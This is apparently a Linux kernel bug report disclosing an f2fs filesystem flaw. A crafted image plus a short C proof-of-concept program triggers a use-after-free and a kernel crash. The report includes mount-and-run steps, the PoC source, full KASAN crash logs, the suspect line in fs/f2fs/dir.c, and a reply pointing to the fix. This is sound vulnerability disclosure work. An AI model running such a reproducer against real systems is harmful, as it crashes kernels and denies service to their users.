Created attachment 277201 [details] The (compressed) crafted image which causes crash - Reproduce # mkdir mnt # mount -t f2fs final.img mnt # gcc -o poc poc.c # ./poc ./mnt - POC (poc.c) #define _GNU_SOURCE #include <sys/types.h> #include <sys/mount.h> #include <sys/mman.h> #include <sys/stat.h> #include <sys/xattr.h> #include <dirent.h> #include <errno.h> #include <error.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <linux/falloc.h> #include <linux/loop.h> static void activity(char *mpoint) { char *foo_bar_baz; int err; static int buf[8192]; memset(buf, 0, sizeof(buf)); err = asprintf(&foo_bar_baz, "%s/foo/bar/baz", mpoint); int fd = open(foo_bar_baz, O_RDONLY, 0); if (fd >= 0) { read(fd, (char *)buf, 11); read(fd, (char *)buf, 11); close(fd); } fd = open(foo_bar_baz, O_RDWR | O_TRUNC, 0777); if (fd >= 0) { write(fd, (char *)buf, 517); write(fd, (char *)buf, sizeof(buf)); fdatasync(fd); fsync(fd); close(fd); } fd = open(foo_bar_baz, O_RDWR | O_TRUNC, 0777); if (fd >= 0) { close(fd); } } int main(int argc, char *argv[]) { activity(argv[1]); return 0; } - Kernel message [ 2924.487551] ================================================================== [ 2924.487879] BUG: KASAN: use-after-free in f2fs_iget+0xcb9/0x1a80 [ 2924.488085] Read of size 4 at addr ffff8801ee2c1968 by task mount/1216 [ 2924.488416] CPU: 0 PID: 1216 Comm: mount Not tainted 4.17.0+ #1 [ 2924.488419] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014 [ 2924.488428] Call Trace: [ 2924.488462] dump_stack+0x71/0xab [ 2924.488494] print_address_description+0x6b/0x290 [ 2924.488500] kasan_report+0x28e/0x390 [ 2924.488504] ? f2fs_iget+0xcb9/0x1a80 [ 2924.488507] f2fs_iget+0xcb9/0x1a80 [ 2924.488522] ? f2fs_fill_super+0x1b4c/0x2b40 [ 2924.488526] f2fs_fill_super+0x1b4c/0x2b40 [ 2924.488534] ? f2fs_commit_super+0x1a0/0x1a0 [ 2924.488547] ? sget_userns+0x65e/0x690 [ 2924.488566] ? set_blocksize+0x88/0x130 [ 2924.488571] ? f2fs_commit_super+0x1a0/0x1a0 [ 2924.488575] mount_bdev+0x1c0/0x200 [ 2924.488580] mount_fs+0x5c/0x190 [ 2924.488589] vfs_kern_mount+0x64/0x190 [ 2924.488600] do_mount+0x2e4/0x1450 [ 2924.488605] ? copy_mount_string+0x20/0x20 [ 2924.488609] ? kasan_unpoison_shadow+0x31/0x40 [ 2924.488613] ? kasan_kmalloc+0xa6/0xd0 [ 2924.488624] ? memcg_kmem_put_cache+0x16/0x90 [ 2924.488628] ? __kmalloc_track_caller+0x196/0x210 [ 2924.488647] ? _copy_from_user+0x61/0x90 [ 2924.488659] ? memdup_user+0x3e/0x60 [ 2924.488664] ksys_mount+0x7e/0xd0 [ 2924.488668] __x64_sys_mount+0x62/0x70 [ 2924.488690] do_syscall_64+0x73/0x160 [ 2924.488702] entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 2924.488718] RIP: 0033:0x7f91a84d0b9a [ 2924.488719] Code: 48 8b 0d 01 c3 2b 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 49 89 ca b8 a5 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d ce c2 2b 00 f7 d8 64 89 01 48 [ 2924.488777] RSP: 002b:00007ffe1d716c78 EFLAGS: 00000206 ORIG_RAX: 00000000000000a5 [ 2924.488789] RAX: ffffffffffffffda RBX: 0000000001993030 RCX: 00007f91a84d0b9a [ 2924.488792] RDX: 0000000001993210 RSI: 0000000001994f30 RDI: 000000000199f040 [ 2924.488794] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000013 [ 2924.488797] R10: 00000000c0ed0000 R11: 0000000000000206 R12: 000000000199f040 [ 2924.488799] R13: 0000000001993210 R14: 0000000000000000 R15: 0000000000000003 [ 2924.488909] Allocated by task 1146: [ 2924.489070] kasan_kmalloc+0xa6/0xd0 [ 2924.489083] kmem_cache_alloc+0xc8/0x1e0 [ 2924.489089] getname_kernel+0x3c/0x190 [ 2924.489093] open_exec+0xc/0x40 [ 2924.489106] load_script+0x31b/0x370 [ 2924.489111] search_binary_handler+0x11c/0x2d0 [ 2924.489115] __do_execve_file.isra.34+0xa86/0xe40 [ 2924.489119] __x64_sys_execve+0x54/0x60 [ 2924.489122] do_syscall_64+0x73/0x160 [ 2924.489126] entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 2924.489223] Freed by task 1146: [ 2924.489364] __kasan_slab_free+0x137/0x190 [ 2924.489368] kmem_cache_free+0x85/0x1e0 [ 2924.489372] open_exec+0x31/0x40 [ 2924.489375] load_script+0x31b/0x370 [ 2924.489379] search_binary_handler+0x11c/0x2d0 [ 2924.489383] __do_execve_file.isra.34+0xa86/0xe40 [ 2924.489386] __x64_sys_execve+0x54/0x60 [ 2924.489390] do_syscall_64+0x73/0x160 [ 2924.489394] entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 2924.489489] The buggy address belongs to the object at ffff8801ee2c1100 which belongs to the cache names_cache of size 4096 [ 2924.489890] The buggy address is located 2152 bytes inside of 4096-byte region [ffff8801ee2c1100, ffff8801ee2c2100) [ 2924.490272] The buggy address belongs to the page: [ 2924.490454] page:ffffea0007b8b000 count:1 mapcount:0 mapping:ffff8801f3586380 index:0x0 compound_mapcount: 0 [ 2924.490744] flags: 0x17fff8000008100(slab|head) [ 2924.490917] raw: 017fff8000008100 ffffea0007a84200 0000000300000003 ffff8801f3586380 [ 2924.491156] raw: 0000000000000000 0000000000070007 00000001ffffffff 0000000000000000 [ 2924.491391] page dumped because: kasan: bad access detected [ 2924.491674] Memory state around the buggy address: [ 2924.491848] ffff8801ee2c1800: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 2924.492073] ffff8801ee2c1880: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 2924.492315] >ffff8801ee2c1900: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 2924.492540] ^ [ 2924.492753] ffff8801ee2c1980: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 2924.492994] ffff8801ee2c1a00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 2924.493218] ================================================================== [ 2924.493443] Disabling lock debugging due to kernel taint [ 2924.499467] F2FS-fs (loop0): Mounted with checkpoint version = 2 [ 2932.401216] BUG: unable to handle kernel paging request at ffffed0048001e8e [ 2932.401472] PGD 23fff0067 P4D 23fff0067 PUD 23fbf1067 PMD 0 [ 2932.401679] Oops: 0000 [#1] SMP KASAN PTI [ 2932.401840] CPU: 1 PID: 1230 Comm: a.out Tainted: G B 4.17.0+ #1 [ 2932.402068] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014 [ 2932.402355] RIP: 0010:check_memory_region+0x59/0x190 [ 2932.402532] Code: f8 49 89 db 49 c1 e8 03 49 c1 eb 03 4d 01 cb 4d 01 c1 49 8d 6b 01 4c 89 c8 49 89 ea 4d 29 ca 49 83 fa 10 7f 3b 4d 85 d2 74 32 <41> 80 39 00 75 23 48 b8 01 00 00 00 00 fc ff df 4d 01 d1 49 01 c0 [ 2932.403108] RSP: 0018:ffff8801ee847300 EFLAGS: 00010202 [ 2932.403290] RAX: ffffed0048001e8e RBX: ffff88024000f472 RCX: ffffffff935a2e0c [ 2932.403513] RDX: 0000000000000000 RSI: 0000000000000002 RDI: ffff88024000f471 [ 2932.403736] RBP: ffffed0048001e8f R08: 1ffff10048001e8e R09: ffffed0048001e8e [ 2932.403960] R10: 0000000000000001 R11: ffffed0048001e8e R12: ffff88024000f469 [ 2932.404182] R13: ffff8801ee847418 R14: 000000000003136c R15: 0000000000000000 [ 2932.404406] FS: 00007fdc60870700(0000) GS:ffff8801f3b00000(0000) knlGS:0000000000000000 [ 2932.404665] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 2932.404874] CR2: ffffed0048001e8e CR3: 000000018e870000 CR4: 00000000000006e0 [ 2932.411076] Call Trace: [ 2932.416290] f2fs_find_target_dentry+0xfc/0x280 [ 2932.421487] f2fs_find_in_inline_dir+0x214/0x340 [ 2932.426555] ? f2fs_recover_inline_data+0x520/0x520 [ 2932.431591] ? deref_stack_reg+0x97/0xe0 [ 2932.436516] ? __read_once_size_nocheck.constprop.6+0x10/0x10 [ 2932.441476] ? stack_access_ok+0x35/0x80 [ 2932.446473] __f2fs_find_entry+0x55f/0x620 [ 2932.451446] ? kasan_unpoison_shadow+0x31/0x40 [ 2932.456474] ? kasan_kmalloc+0xa6/0xd0 [ 2932.461488] ? f2fs_find_target_dentry+0x280/0x280 [ 2932.466548] ? kmem_cache_alloc+0x176/0x1e0 [ 2932.471551] ? __d_lookup_rcu+0x6a/0x2f0 [ 2932.476502] ? d_alloc+0xbe/0xe0 [ 2932.481429] ? memset+0x1f/0x40 [ 2932.486264] ? fscrypt_setup_filename+0x1d8/0x4a0 [ 2932.491114] f2fs_find_entry+0xd6/0x100 [ 2932.495847] ? __f2fs_find_entry+0x620/0x620 [ 2932.500480] ? unwind_get_return_address+0x2f/0x50 [ 2932.505055] f2fs_lookup+0x271/0x580 [ 2932.509602] ? __recover_dot_dentries+0x400/0x400 [ 2932.514087] ? legitimize_path.isra.29+0x5a/0xa0 [ 2932.518574] __lookup_slow+0x11c/0x220 [ 2932.523017] ? may_delete+0x2a0/0x2a0 [ 2932.527398] ? __lookup_hash+0xb0/0xb0 [ 2932.531844] ? get_empty_filp+0x63/0x250 [ 2932.536338] lookup_slow+0x3e/0x60 [ 2932.540748] walk_component+0x3ac/0x990 [ 2932.545143] ? async_page_fault+0x1e/0x30 [ 2932.549570] ? pick_link+0x3e0/0x3e0 [ 2932.553913] ? stack_access_ok+0x35/0x80 [ 2932.558184] ? deref_stack_reg+0x97/0xe0 [ 2932.562388] ? in_group_p+0x9f/0xe0 [ 2932.566520] ? generic_permission+0x51/0x1e0 [ 2932.570652] link_path_walk+0x288/0x770 [ 2932.574671] ? apparmor_capget+0x380/0x380 [ 2932.578591] ? kasan_unpoison_shadow+0x31/0x40 [ 2932.582373] ? walk_component+0x990/0x990 [ 2932.586020] ? path_init+0x2e6/0x580 [ 2932.589569] path_openat+0x1b4/0x1fa0 [ 2932.593066] ? is_bpf_text_address+0xa/0x20 [ 2932.596521] ? kernel_text_address+0xcc/0xe0 [ 2932.599929] ? __kernel_text_address+0xe/0x30 [ 2932.603330] ? unwind_get_return_address+0x2f/0x50 [ 2932.606721] ? vfs_unlink+0x250/0x250 [ 2932.610030] ? save_stack+0x94/0xb0 [ 2932.613272] ? kasan_kmalloc+0xa6/0xd0 [ 2932.616443] ? kmem_cache_alloc+0xc8/0x1e0 [ 2932.619581] ? getname_flags+0x73/0x2b0 [ 2932.622685] ? do_sys_open+0x144/0x2a0 [ 2932.625890] ? do_syscall_64+0x73/0x160 [ 2932.628957] ? entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 2932.632057] ? add_to_page_cache_lru+0x190/0x190 [ 2932.635140] ? __mod_node_page_state+0x22/0xa0 [ 2932.638220] ? __handle_mm_fault+0x119a/0x1920 [ 2932.641275] do_filp_open+0x12b/0x1d0 [ 2932.644311] ? may_open_dev+0x50/0x50 [ 2932.647361] ? kasan_unpoison_shadow+0x31/0x40 [ 2932.650399] ? kasan_kmalloc+0xa6/0xd0 [ 2932.653435] ? __alloc_fd+0x1b0/0x250 [ 2932.656425] ? do_sys_open+0x175/0x2a0 [ 2932.659439] do_sys_open+0x175/0x2a0 [ 2932.662461] ? filp_open+0x50/0x50 [ 2932.665448] do_syscall_64+0x73/0x160 [ 2932.668407] entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 2932.671426] RIP: 0033:0x7fdc60380040 [ 2932.674404] Code: 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 83 3d 09 27 2d 00 00 75 10 b8 02 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 31 c3 48 83 ec 08 e8 7e e0 01 00 48 89 04 24 [ 2932.680991] RSP: 002b:00007fffe1accb18 EFLAGS: 00000246 ORIG_RAX: 0000000000000002 [ 2932.684361] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fdc60380040 [ 2932.687755] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 00000000022ab080 [ 2932.691163] RBP: 00007fffe1accb50 R08: 00000000022ab010 R09: 0000000000000000 [ 2932.694591] R10: 000000000000069d R11: 0000000000000246 R12: 00000000004006a0 [ 2932.698027] R13: 00007fffe1accc50 R14: 0000000000000000 R15: 0000000000000000 [ 2932.701490] Modules linked in: snd_hda_codec_generic snd_hda_intel snd_hda_codec snd_hda_core snd_hwdep snd_pcm snd_timer joydev input_leds serio_raw snd soundcore mac_hid i2c_piix4 ib_iser rdma_cm iw_cm ib_cm ib_core configfs iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi btrfs zstd_decompress zstd_compress xxhash raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor raid6_pq libcrc32c raid1 raid0 multipath linear 8139too qxl ttm drm_kms_helper syscopyarea sysfillrect sysimgblt fb_sys_fops drm crct10dif_pclmul crc32_pclmul ghash_clmulni_intel pcbc aesni_intel psmouse aes_x86_64 8139cp crypto_simd cryptd mii glue_helper pata_acpi floppy [ 2932.726365] CR2: ffffed0048001e8e [ 2932.730732] ---[ end trace a8e0d899985faf31 ]--- [ 2932.735137] RIP: 0010:check_memory_region+0x59/0x190 [ 2932.739561] Code: f8 49 89 db 49 c1 e8 03 49 c1 eb 03 4d 01 cb 4d 01 c1 49 8d 6b 01 4c 89 c8 49 89 ea 4d 29 ca 49 83 fa 10 7f 3b 4d 85 d2 74 32 <41> 80 39 00 75 23 48 b8 01 00 00 00 00 fc ff df 4d 01 d1 49 01 c0 [ 2932.749060] RSP: 0018:ffff8801ee847300 EFLAGS: 00010202 [ 2932.753872] RAX: ffffed0048001e8e RBX: ffff88024000f472 RCX: ffffffff935a2e0c [ 2932.758762] RDX: 0000000000000000 RSI: 0000000000000002 RDI: ffff88024000f471 [ 2932.763678] RBP: ffffed0048001e8f R08: 1ffff10048001e8e R09: ffffed0048001e8e [ 2932.768689] R10: 0000000000000001 R11: ffffed0048001e8e R12: ffff88024000f469 [ 2932.773668] R13: ffff8801ee847418 R14: 000000000003136c R15: 0000000000000000 [ 2932.778671] FS: 00007fdc60870700(0000) GS:ffff8801f3b00000(0000) knlGS:0000000000000000 [ 2932.783747] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 2932.788864] CR2: ffffed0048001e8e CR3: 000000018e870000 CR4: 00000000000006e0 - Location https://elixir.bootlin.com/linux/v4.18-rc3/source/fs/f2fs/dir.c#L126 de = &d->dentry[bit_pos]; if (unlikely(!de->name_len)) { bit_pos++; continue; } Here `de` points to invalid address; I suspect there is missing check on `bit_pos`. Reported by Wen Xu (wen.xu@gatech.edu) from SSLab at Gatech.
Fixed by below commit, :) "f2fs: fix to do sanity check with i_extra_isize" Temp patch link: https://git.kernel.org/pub/scm/linux/kernel/git/chao/linux.git/commit/?h=f2fs-dev&id=fc5c5c0424a08645c52490b1a02c847179ab3625